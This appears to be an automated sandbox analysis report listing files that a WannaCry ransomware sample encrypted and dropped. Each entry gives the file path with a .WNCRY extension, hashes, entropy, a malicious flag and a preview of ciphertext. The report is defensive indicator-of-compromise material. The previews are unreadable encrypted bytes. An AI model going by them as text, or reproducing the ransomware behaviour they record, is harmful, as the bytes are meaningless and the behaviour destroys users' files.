                                    Preview:WANACRY!....>....^.d.f...?.R..u...7...hl.z.ULQ_e'..sy.......UJJ.>.uD>.}.M......:.6_..a........6g...G.,.I.;<i..;y...b.Q.f.t.C.i...>..].....d.Ge.....3....lf..2.u."..(.....t..]n..V.w.....'..M......0.I% Ro...69(&.-jBk;....s..B[p..d......T.V....[.....ch....j....f.........]...w...@...:c.VL..x....X.8zE?.\G..C;..)....5"..."5....YH...NMH..._Y.._wT....h.]..'.u...."..jP.... .....V2).n45........0Sb.H.X....8..3..^G..03.P>Z1<=i...?... A...4..'vnI...j..O.w#-.!..y.n2..+..k.C....9...Y....|.f.....[.:.../[...c..b...'...f.B,.]8..V...0Q.......*....WlB.J.p.@.........T.6...)p..H.SM...~j.).........kC....EM.....4..9|r[..@.......g.j;d..2N.......&.o.F...e^.....x..<.|j....4.e.....).0.../...y7.J.......J)..........~..C...i.".D......w....jS...7I..z.j......g.b.x..-'.X..{...Q.zL..Z..$....P.J.S....\..3"n.q)....#h..?.....B0..i.$._..Z..SCp%B.......q..h..u..u.}Z.p.A..._.....j_..8... ...pV.>.%..W./...h....!.j.YI.j..J#.U.!;|t..o.5kxj.....S.. ...zj...M..2....BT.N.Y

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appsconversions.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1426184
                                    Entropy (8bit):7.999874831572425
                                    Encrypted:true
                                    SSDEEP:24576:/kWhznwx9qlsrsN5NbXmG/lkZx6gNfp2mxGLPQc7Ca/DiRzLb0r:sAcxklVDNbXt/Ix6ypxmPQa/8Lbu
                                    MD5:A09EBD2D8746D369D8352109412CE1F0
                                    SHA1:1DFB69DEFDD08460FF8EB0DE6C2932ACE25F1D36
                                    SHA-256:3C6D356B08948F082357B05EE85B9B55ABE1D7532DAA413448EC9C4E15BA1B86
                                    SHA-512:2C7C4D8BE5A6BC9E2FFC5304E8FBC46AF6BEE6ADCBC7694506217E1D39372BACD5EAEB9E437BA08552B287A3C254ECCC3089838F80DD5EC079187414183987DD
                                    Malicious:true
                                    Preview:WANACRY!....^..V.M.K&...m..s2M$...B,.w...........8..dv?r...mt.zN...+..Dc..{..hL..3].P...B..<.S.5.Fd.....k6..pnG.(..2...a.....R..'..U7#....=1.`..A..uqV.d..r.C.}hW..`...=.g..,..vm.k.m.hw.r........v..N.g. ._.v\V..K.h....-5...u.Ij.L.=...4G'._dY9 ..... H...J...@................79k.Oxw...o....;..a.....tW.{.e..uTy..W).w..>+..H3...(?.d....5.....Q.....(.....~.....p.....?...^.t....@.w..m@x.:....-.J1.4......_....u...|U...-C...{...T....+&. <=r.6....>"...F..#.l.R.R.s.$....p._.X.Y..lF.L.{Nc.J.#t.i.0.f.......,l~N.....uo.;}(2}Pf.OF.O=..Ao.....44y'Pm#K......J.S..k...P.......>..ObY.S$5....i.{xd..%.Nvi....9.m...5`...8..T...._L...O./....]..,....JG..{.]..[.+.gJ......4{HK...j..N.L2>....+.S.*..)5.4E.g....D.\....I.e..Cx......S.....3n<b..k........I...w/3.iJ.P.G5P.W.'M.#(......<...`>.....O......)z...d.{...N.J..1.C'{..@...W[...B?......l....N*...-........Wx.....Az.%.`.(..XsD.....=.r...`.5...m...g...QsK&........F..&..~.p-.J..@=i...W*...5W.9.%}.-8.?...E.j.b.f36... ..m....R..

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appsglobals.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):352008
                                    Entropy (8bit):7.999439242547693
                                    Encrypted:true
                                    SSDEEP:6144:H95/Z0g3kJ7oRU2sFDU2ikDoUUXSmVqh+/qr8cqlsn0wm/EiHptQwqc5ZIew:H9Ag0MU2mxIZVqhUInRdidjw
                                    MD5:64DD46A425B7D443F1968DAA2BE01CDF
                                    SHA1:3DB08DE1C9F99FC01CFFDE89CA43DB8F86CEE829
                                    SHA-256:056532DC5B78522AA289BD4B64273C4753C86922F3E48A4B0FB3498602159033
                                    SHA-512:7D8370672FDE3D135B081275AB027B0E57A4DB4059E353DE35DB47A8EE885C81CD445C53586E294E7CB5FA0F78EDF9769D452EC18D226853A310841DC8F762D1
                                    Malicious:true
                                    Preview:WANACRY!....B.k.q.U..W.r.+.....G...&...9#...6v....*)..'.F...d..R`........m..EO-.u..c...S..7.l.....Iy?5d.!..rR.......'......,.....b :..W..Fy....D..r.c..OU1QL..Y.....o..q....}.=.Y..._......N.'.n..V..[.U..A.=..N..u.B.U....L`X<..|.v........_sc......Z...n...z.X.).....].........-..po..&g....;..... :..IU...O..0...S..&...<.@..2..[........%.ZC.c...p.xak1.B(........zD.....J.....8....|J\j...'.x.....3.pJ{.T..6.N...>.S..(Q.Q5..,,...U.^...9.k..1...C.?..W.;...y.~q....C....gEZ...T.I{.Q.....)Es.9.[.H{@.....m>.]...]....i..elp{.P.'...7H..Uy3....^.^...1..6...#...C.P....i..?Q.....*.j.....z/.`.....;=....Y....Q..L-...8si...y..^.1...^./d.n.ae...F.s....~tF.m...V@......_..{.y...Ap..l...eN;...n|.O...$.$..K..Z...$gea;.>;...~.......Z.Q[f..a...L.........H..)..3pw.....JX..i{.<...'....r.<.:?|.......~....Q..G.t"...Z.....cF...........2C.oUU03..!*J....bUO.2h..r..$.r}..-. ..Y...D.Q.2c.;].....*....eA..w.]..@,S.....e.....D..>.._....-.[f..e@Y...qXj...h..2.r..J*J..O.x.+

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appssynonyms.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):243784
                                    Entropy (8bit):7.9991871943951836
                                    Encrypted:true
                                    SSDEEP:3072:3+QaTROT/D0aeCDge/ZZ64FrIJvbyg5Wlvmk8XM8d+oODtPoUmtYrsX5/bzL+z7x:uJTkT/D0pslBF0zWN8j+dDe/ec6aFsIU
                                    MD5:769EBAB4889E453656DDE54C6A84044E
                                    SHA1:CE59DBA8FED5C2E376D8A0309D2F04B666C96B23
                                    SHA-256:15FD3CF0AB548465C871E0C10AF056CFB4DA736B6CE9DA8D1D2E9AAFD34AC1B5
                                    SHA-512:9C4FFB97507CAD3F480000998E975C0BA0BB5A8BF16E0B06B4397F78CFA061C400773981A077C0CAD0734D1548A94F3281A230ACE88AE1D6BC9E27539F2C9B23
                                    Malicious:true
                                    Preview:WANACRY!.....j.bz...a....{.R...Y)j.o.2r..`.....@nP....Z.6...h..RL..tP..W.......Kc.l?...c\[...e..../o.j...g..s(........d.....38....E$...v.....~A...G6...oC-s.|2C8f..#W.. .5u.8..QF..p]g....:&(U.]...K.....D..RK...@.5O...H...C_(N.>I..h.......L.....E..,=...J<......&.......w63e.-h......u.i(............e9.Mx.|"....m..Yhz.*.=.S=..txq.....A.....C...%.~.o..`F.`.C.h.5.x..~.k....n...w.e-.....f.WA}.......fu.....,....z.W......w..u..).X..h..>L.4J.'.W@...8...3NG#>..5..Yc.0>....KCe..@.gbX.*....MK....GM.].........>.w*..........l......m2.>K...O.pN.K.q:.H..&Dvi%N.<.V...6s....uIL=1..P.V._z0.=#..icSDK.....v..n.h........{.N./...........0..N,...........(.%.1nU7...f..`...U7X;E^.w......`y.......o.:...[{.MQ.C..k.....u..iP..s..37..EL:..p1...p[...8..V%?.....g......F.ih..b.siS....g.O.v...1....A..6.^.b.q..|.Vj....?b.kU..ou..3..fk.p..z..F.7..#qb..aK.....y...^..H.5...vZ2..t..vAK.....].)..!{J_..K.`.)..0."..CF......5..R.RK..z.P.:..lh....]r%A..x....l....DYl.b.E%A.)...J..Y.3;

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingsconversions.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):533032
                                    Entropy (8bit):7.999684634968351
                                    Encrypted:true
                                    SSDEEP:12288:5Q3hAOdyz4gw2E8h1ONUXS27vbxLmZOgCMkc0czh:54AOAcmzOWXSYNaZlCz0h
                                    MD5:78A9F900424D81061F8A3B333A196543
                                    SHA1:2EF912047EFBC0A0A7B86002386C258948C992A3
                                    SHA-256:DA692134A4428C11C62B3EC2039C9A6C1DD755006264DBF53DF3B542C4421D3B
                                    SHA-512:A865E302ED736FA98F0F2A710F32CBEC81E9045C6A9AFD93714E809BDA3FE1B764F222E1D5D6CFBE189A6CEC1DC76ECD92109D5483C34CCE8E528B7630DC05AD
                                    Malicious:true
                                    Preview:WANACRY!.....K.1..../.A.&s...."..K...|(.G......|.A.*..J...i.[..}.>.^..6.z{&..Vb8Jo..W..5Oo..5r...BS..=..7ZZ..`.8L.....1Z....70IK.~.e..}-G.......q..v....C.5..~Y..w.a...@.a...e....6._.........L.....&.Jn.[a0v..\..\..............B...~....!..._.c.N..j....rl.....!......s......b.2...}.\..-2...[..`D...?..b...Q.6....E...&..-..>...E6Dk.".m.......L$...Z..e.s.H...d..._......z..Pno....f.#.....8..xG....vE.4.n....$...&?[0..e.:.J]..:."z3...\.\I.A.?W.-..j..x\.....[r.>..~.I...)4.5..`%...,y....A.>.(D=HT........7.C.....!..h..0q...r...v:...9<.~j(G.`..\../..zK.....Y...1.:.`.m'......t.U,%...F.....p{-.f..~..#J.t(.<xY:U......,.9#J..&vW..f.x.....Ts.=..F\gF.P$=.I..v...Q.!.k~u/..0w...rM......n.._[......O~.C.7.{..)N..D.........o.l...'.l.sx..e..r.#....7...yB....W..|..<&$......|...2.?...&:....Oc...3.s.K5/......qkX.M.Vc.A.&...zk..O......00.1#..MG&......|.T.F`V!a.B....T..~.bL[.C..@zY<.....l..v4....J...Exe.$ .....8|9..(.\......o..\.6a.t..c.x!?...W.q.r....6.(..@...7

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingsglobals.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):44792
                                    Entropy (8bit):7.995752069757996
                                    Encrypted:true
                                    SSDEEP:768:qwGv/4vXg1l3el+WQi9Hftry0hYr3sRb+1DsVpzNZNItFYpPp3i5XeIibB3:zgAvXgWsWPl1m6+1IVUtFYpliZdi9
                                    MD5:B4FC0134C50A3BB76E5CE00B14F017F4
                                    SHA1:591F1F1FA407C056FF6B8528EFF39CB4CE757D5A
                                    SHA-256:A45CF4E55D714E56AF2958703B88EAF7A5F380BB269ABAC97CE54CC26070374D
                                    SHA-512:5075BF8C666493B77A89548788EE100B7D2B8C1A12B2BDE8857AF6EF9BB7AA5DC8D8F0495CC2660D09B371A8A4EEA05FF44078ADD43FC1782462F8EF7006EC24
                                    Malicious:true
                                    Preview:WANACRY!....6.J..D.A].N..q.0..w.=j.r.E6.%..."_z^.....i.....p..]s..t..8...H....e'Yw.<.j.^...9........4u9.@...R......M..........ze..H..1...+D-..=.....BTvJ.y.....}......5..N..a...V.@..T%Z...l4o.nwU...)...d.x.wiL.....<..l.]Y.Z....1.$...g..z.....GS..H.Ms..3..............2G.mt....Y.}.....X...c.]P...w.M@.Va..{*v70P.!...U....8Z...#.]..X`..o.[8....`...j-...0.....8.P].aU....}A.b....z..t........E.....D.{V...N..i.P..ML.T.....U'Z.....(....d..%..@.t..X@..m.l.....ef.YJ..O.t.F].+..$L....`.zQ....;;...%....Y.j..3..L..+.[?u.....!D.i]..].R@..t....^.:*1.i.I.l..EE...@..X.vP.L......y.T{.%.9.I.....$.l.dTw..S...Brj.....D_Y...E . .&..U...Qe..5...#_(4....Q&.>..#..'C.<.iE.wa...y.G.........>.S)....H....d.X;.6.......c.......g%]/..<.x\!a'..G...C.o~...;SE Z!.B.~?.g=@..d/Pf&;.MR../.....\.5&..M.c..Ul8....X.P...b.q.. .H...42..?p.B..d........{C....E...u.P.p......L..6.........:...?..;TZ.}.-.2h4.WN.....)+.t..8.#:u......0\._{..'.>....ZD<..M...}.2..U.fIR...oa.,.cP..S.b8q.\.....

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingssynonyms.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104008
                                    Entropy (8bit):7.998424986046524
                                    Encrypted:true
                                    SSDEEP:3072:nKdIO47qbg/q76SgiDFTag+iUJZC4wnnxl:nGQv/qpg3Fy
                                    MD5:66CD56DD8E38359856FBC008A5AD0521
                                    SHA1:8AF2139208B639AC3297B1DC54BF4D873ADD875E
                                    SHA-256:DFB90543139DA18945E095EC01514D63E3D125C7F82F6A7DE23CBE2F98B469C2
                                    SHA-512:17507337D772177647B2B2575E0426D47177ABE7BCFD28FDC76239B58428EC53B5A3D7719082A47781B16F881D3120EBFD1FC6C663A7034CBC517415686A4815
                                    Malicious:true
                                    Preview:WANACRY!.......L...8.r.\...C..#,y...Q.E....QH...{.....~...7.9x...C....e....)....~p.+.(.&6............|.S...q.]N.....P..../.=.=..=./..CK..$b.g.M.} .... <.oX,.zQ...u=........1.<..oN...e.".*y1.i<...(~.o...R.e0..=v...2..@.V...q<....e6.J.x..D.7....>.Q.0%J.Z.T.....%.......gMwyu....Z....U..*....h?{..#%..'X.!.N..@...M..`.?....Q.x.#.;.P.....0E:r..A.H...*b..8...<[..F/.....$+.....$...E..`.......(.8.l.rd...y.C..#...v.."5...G...0....C....<.;..S..C..........Qgd... 1.^.6.s.Md>2U.q.=.`I.n..,.wdH.Z..>.....$....5l,...=.l.9.1%*...Y..4,.4/./!.e~.....<k.i.C].F0`..I...H)......;......b..\...5rl"2`%Y......K....a.p9{.G.....+~.h.......c......C^...IZ......i....U.DS.CD.d.....s....@.NC2,...{..G|.Y.&.l......?d.."?1=]A6..gc.=.m.Z&&..GU. !..S...A....m.]e..._...W2z#i7.3...c....a...Q.sy...+.8..NV.}.G.....o#3.......[.h.,..7.K.~qf.re;_.!|..2.!..p..'..N.....`.......J..(....S.8.'g.c.I.P...Z.d....F..:L.I:.5....._....ih.....bO".. A...Y~...m..VpB.o%.3Vl......Yo.......d.....$....`.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{2ce60361-e872-41fb-bae7-eec2f580d4fb}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):217800
                                    Entropy (8bit):7.9991674856156605
                                    Encrypted:true
                                    SSDEEP:6144:4mUywuRjfgtASxqLpQbxg77QLRmF87345srx8wEi4bU:FNwCLgtAwq96W7sC873bF8fi4bU
                                    MD5:20247134F96F7CE0958FCA0A97D32B51
                                    SHA1:AB69EA6B5B81A28F2843309C3AD0FA5458FB7562
                                    SHA-256:72E5E0513B53FA2F670C4945C932163BD4B025225BFDE472179EA3D00D71F8F6
                                    SHA-512:594FFD5C30ED4BB643DF8C6628E143145DEE31F64F06967194610510A85E0AB9C73EFD50D72DFF98AAF09DEBCA081B4A452A18B897F9C46988B0A942CDF87FE6
                                    Malicious:true
                                    Preview:WANACRY!......FS......x....7.n....*{......X.;...+=....@U9...%.. ..^j..'..M.y.A.......%.A.Z4CU#..y.|.z....=.v.j..C.D/V..f&.Ad.4'&).r'?f.kv....\a5x=..:0...-IT..<..z.7..p......7.7.Uo.>.P..Y.C.:..u8....)I...........?..x..Mm3.ie.....~.j%'......x.+x.5<+..0..;..U.....Q........E*....wX=.y.;.r........p.`B...2.......G..\,.!....fI8./B.?....+0.^..X:.]..H{<..o.m...fQ.....Hq.~3....+t...{(...&.;.c1....aj.nD.U@\...@....-..4..2..........>....dq..O...^vJU...x.0..y..[........F..../....JN.,f...=i.m-2..'.~.I.y..sM.....J}.},.wx.=..Y..:....zmJ.._...k.........OW.N0f....A.9p.}@..sX....T....S.~LQH..V...Wp.....2....].<X1.WaC.I.?...*..%...e+..&F..(....a.1r)P.l.5.q..\.,.....C.4..Hd\A.}..?.WD..;C..Xu!.L.a1:b;#u..(..*yvw..>...n...Y...T.o.,|.s.mu+.j.....@.....,7.V.q....<....u.....~}9p.Gn<.0n.L/.X?0s.kZ.u.....v..x%...Ai..PAX].<O..k..-.......w'...u].B.Q..{!..p.....h...w..\.%...PS.B.'..W.,.1a../.Q.._.........:7.oT..&/gK......37P........f....W...%{....^L.....+..Inlu..^..

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{400a70c4-3e12-4cbe-805a-2dc7c298a033}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):217800
                                    Entropy (8bit):7.999175512132908
                                    Encrypted:true
                                    SSDEEP:6144:cgW/JHJMp67pDWzTb0jMPP/hnZzluh4yOx5I:bQDNlDWD0jCP/DYWyo2
                                    MD5:2303410BB3513ED6A05C6EE0964281BB
                                    SHA1:6903EBC798E875AB246FB18ED4A8424626D1E8D2
                                    SHA-256:517DB9C15A77CE90693C857675B19667440B8A0698DA1F551F3F17B194075D15
                                    SHA-512:D392B336DFD03D6D19D364D25848453782E17B76E4EDAABD56460A7F8C6A3DF47224F5A0ACEA623ABAE24ECCCE16DA70FB26A961DC7B41689EE43E745FE3F9B4
                                    Malicious:true
                                    Preview:WANACRY!......%5.m........V...cf@H.M....3.i.....'....T.....&.[Ge.(.h.t..X.6H.T.W._a.ZLES.B-.CRE......2rZ!.pwH.&e.......8.7j...=\.b.f.[h~4...+..I,..._/4.q..6r..]....n..X*..%9......lN5w...;+yk..,.._..JE.._...#K..|....]N.?.c.~o.7#.9...L...`..`)g._..;....~.~.....Q........3N>.......X.,..6 B.H3}.."_.;G.[.0.tTu&....x..<.C.&)..............)+s.&.....Q...2..pyc..+.O.dFi..*.V....G[.R.....I...5.....W..O..?m.r......rF*$.[.>.~..f..}...?......t.WX.5.H..U9y.FtxK(.{..e]}..'5.A_...b....."......j....tZ@w.....[.h...._x..P.&=...uc.....Q.8.$...P...}..A.z.......14........6.F.l.....t.D..<.aw.0..dn.c...Q..{T.....'`....n?.G.T..Z..R..(....Q7....z:.....5...'.86.O..Kp...$.v...pb...&c.....s.....G.>.].<..T........KtT....6M..........z.#........w9.....<..7.M.Rk...P>.9..X...2...T..$.u.8AR..7:.....0..\..9........L..Q..7..F....i....;cK...t...'\T"m.>...[.sP4.O..;.h.....".2.K..aW#O0....FE..l...M....#.k...V0}..q..!.t.X.I$ ....2.".)-...JA...>.S).I..so...>n.`.w..o.....J..~J

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664308186704568.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):115272
                                    Entropy (8bit):7.998293566186513
                                    Encrypted:true
                                    SSDEEP:1536:rtlqZNDq6VaytLl83cvE48d4pWPg5EABD88oHOiJssAS66e/rjF1Nphj7u+pOF7P:rnQqSaytC7bspawVxplN8Fg4
                                    MD5:FB5AEA2C74C62FF50359520BFF87CABE
                                    SHA1:EC5F76ED75EA2D19E055EB841287B99397349895
                                    SHA-256:6507FA6762B9152750C5DC895C8F45A31BEA984A974394097ED2E006E27FFB05
                                    SHA-512:A308D673A0BF5C4410457F743C5085549DB91E1D79115454504285CB9C1B77EFF442785CD01898D74F4ED3EFA2D25DAAB2A4A105EF3F063087F882E75F94343F
                                    Malicious:true
                                    Preview:WANACRY!.....P.w..z.\K.c......Q..}....%I.Z.Y.....r..VW?.b.Z.5.yO.....r...W.W..W.^...<...;..,..1C.x...@O.A..:.w......!#)S.2...>.9.y.$.j...#]M.o.bv"gs%..[.2K[...K_y.D ..ya...1....Qx......Yu.C.$.......7..........L.g...w..L.q...V7.}B..f`...-._Q.h].G..A..8.A.v.....,..........~X&.5....~4j..Ok..B gwL.R...w.l.cE.?m...B.". ....6I..:..b.E^.8g7..^s...*...E..L.^.Uy...IZ..La.C.!.N+...H.-O..a..s....cy....i_..>]..#~..9..)U-....,.C#..2.............Gc.#.njq....V..z?.....j....i..%..Y.4;S..fSa.....Kg...p.........fdZ..%h.g...B.F_.....wv..w...Yd..G.[...z._...(".-.P(f.iK...U...k....v|...F.....h.jr.6.....&.f)...a.)....N,.Jg......<.@j..k..U.E...3...M.P.3._.Y.}.......aJz].K_r(.?HO.v..~.~..7!.u.O....\.8..AL.x.|5..j..CM#..%W.^7%"..u.,.O^....x8b.{....-P.6..[..~.F..x...q.....X..$.M..(...|...$8d..y.t......C.ib..h.P.......(..AEJ'...j^...z....D.a...E.e,.Z.m...xhy...v./..._..f.#.rO.Q_v.s.a..%.o9rRe....x....BLR.f....|..w..$Bjq.....u.J...E$..N..O.L......q...v...>L...

                                    C:\Documents and Settings\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4d14c23e-7ce9-42c1-9a52-20871828d127}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):37768
                                    Entropy (8bit):7.994731333086326
                                    Encrypted:true
                                    SSDEEP:768:GOkBWMvZPqXHNGm+xZG3cO2Y7ITc0N80DeMQhP7qH/dskUW7up4kgd:zYDPqXHCen7Sc0N8WqmH/HUM1xd
                                    MD5:0190C1CFE4EC45600257CD6C7FD19815
                                    SHA1:B6F6CC2FF4871F43DFB931C9C7393D1ABCBCB7B9
                                    SHA-256:6E3BB7FF5E239D6E3C9FBBACFC6AC8C2E4FD3BD034F62CA24D900501185DC63C
                                    SHA-512:DE7FAA7BE8AFCD4D0674C0391D1E57016F73F4F03AC5C94F47105F414B5E0436478A5DAB46A96EF56036C3C8C844932747D58DD518F1FA66DFAF24F1E24982BB
                                    Malicious:true
                                    Preview:WANACRY!......qq.....T)..U..H..?.BzE.:......F........O'T..^B3.A.(G-.FY.L.......8c.<g....).....sX..d5 $B..c...#.O..Shh..v(....c.\ .b.j<...7V|*5r...........sHw.mB."..........v..\fl.z.[!..VR.e.I.\.D."NH...H.. B....k.=Gu<..m....LQ.[:.h02.[;~........)./.....m.....f.......rN(]...n....m...u^.....W.eNJ.;..E...Zc|Q.?..~A.L)..T...E.zJ......hZ.uU.8.3w.A...D*I=cn6F;.H<.=.....b...z..c.+.W.E..\2.i'.LW..-.!g9_......;.../...G...L.<.(O....8x<i...A..H!....*......k.N2.M.3..VO.ikhKK..C=.Q....g%u...&..t..N]... h.<..a..~=?8S`...A..U.b(.!.y...7.A.~..*.l....z.....:.H.^..e^`.~...W;...}.P..._.........0.7./.b...c.x...G2cLN....c..:..5..(..a....K..D..i.....G...f........z4.<C..k..zE|.......B.T...(.5qy..wF.#6$..!0..w..+..7....k...p.8.6{Iu,..L-.... ..9.....5..H...<.U..%.^f..B..D.>...)........)#../A.3{f.s....M.[r%k..#Z.B...T.U... u.V.RVA....Xw......3.|......@l..U...?.*............*...d.F.. W.#Y.....]XE.QW.D#.6$......tF.LZ.c.>....u..l.NDyuNK..pP.oxT..........r?.'...4..!...

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\AQRFEVRTGL.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.819476558285032
                                    Encrypted:false
                                    SSDEEP:24:bkJs7DhlTftrS9fhnpwjP0hVWPMfT48MTAW9xg2rEm9eaFaKrodoL4XZo88:bkJYgTwjP0vMMfTgl9umh9xFaKTL4i
                                    MD5:BD942610701927F2A27ADA5A43C452CF
                                    SHA1:05CEC9176EDDE25829E07F071F3E4CC433B395CD
                                    SHA-256:4662232F7127D98DFBB9F9F7ABF970096423E5165D7550349377A73301B1F87C
                                    SHA-512:0AA15AF8D38430E32605440ADBC0F9FF720CFED85187ABFA575C4C704862CB7C09457B93E3D38201038E586BD166AC60BECF62FB44AA0DDFF279A28C10C8DA39
                                    Malicious:false
                                    Preview:WANACRY!.....n.z.;.V...2.'...G.0.......yq.....~?.....tIB...Oa2.:..&....(M.ys.P..sqBk..R.......N.T...~S...V.;.7.@..r..(.....p..J.".......X...zZT...F.. .85..AD.;..o.+-9..............2].R.Vc....9...30.J.&~g....W....'........a..q_...N.:w..p.(x.M...DNQ..MD...Yo.............O.;....Z......|......*OY],.\Tpg..L+.....H....!........vI.v..T.].%.{..#+8M0......5.a...R....h.i...Id]J.cR.T.a.7.+......c[.h.D.m.q"HWm...jK./.#...S.g....LK..X.-R.$..WU....O...(3..V.]....._~.z^....:@M....J.`.<...>..LP...&&(....#...`S9]X.m.I.M.h?.....-FPT..7..K.!...=w..yB...T.q./.u.......a....X..S.R.@<.~.d..;.NC.)..U...\.....[..$...dw.$..j.FvW)7..(.`..\...k....l..VP.~.;..+..".z..F.7....e.].i..o.dx..'..|:W.l...!.....>.myg...X.Do..:6.@.rf#...7..E6..H...%..C.<.p*.tc.?....%CvI.......v?...ygE.6E&p0d..l.h...../<g.D.V..!.tBbv.U.......xL....r:...4........"3.(:p#.1.5..L?.."...9..ATjq...vT..i#{&....%.T.D....d.:.`_'..<<j[=......6. .k..y.......j.4...6....~.?T$....!...O...w..T.O._...1.+.].

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\AQRFEVRTGL.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83767351690038
                                    Encrypted:false
                                    SSDEEP:24:bkU4sQ2pWbVSyq6VCF5Oe1SJO5ZHuJMzSm1omDm+d2lE9LTlPYyTOMLk26Z2maU:bkU4MWxEMCF5O3+lV1or+AlE5YKLqZEU
                                    MD5:1D9F23676BC1F11DD0D6E27F03E8E7A9
                                    SHA1:DF21FA670A405F0D2AF480522FF3FAD8C3EEFA6C
                                    SHA-256:43CAA21FDA053E78723A23D005AC64CA99E906B3700F931A7B32A74709A5EEDB
                                    SHA-512:4227496C10CEE081F72BC10A236CC0319160E98C0BC08F6F08B659DC07E345C52CC21D43721836275F0AB5BAA1D97EAB2AB1638614499D7D0F15E4D0FD600C2F
                                    Malicious:false
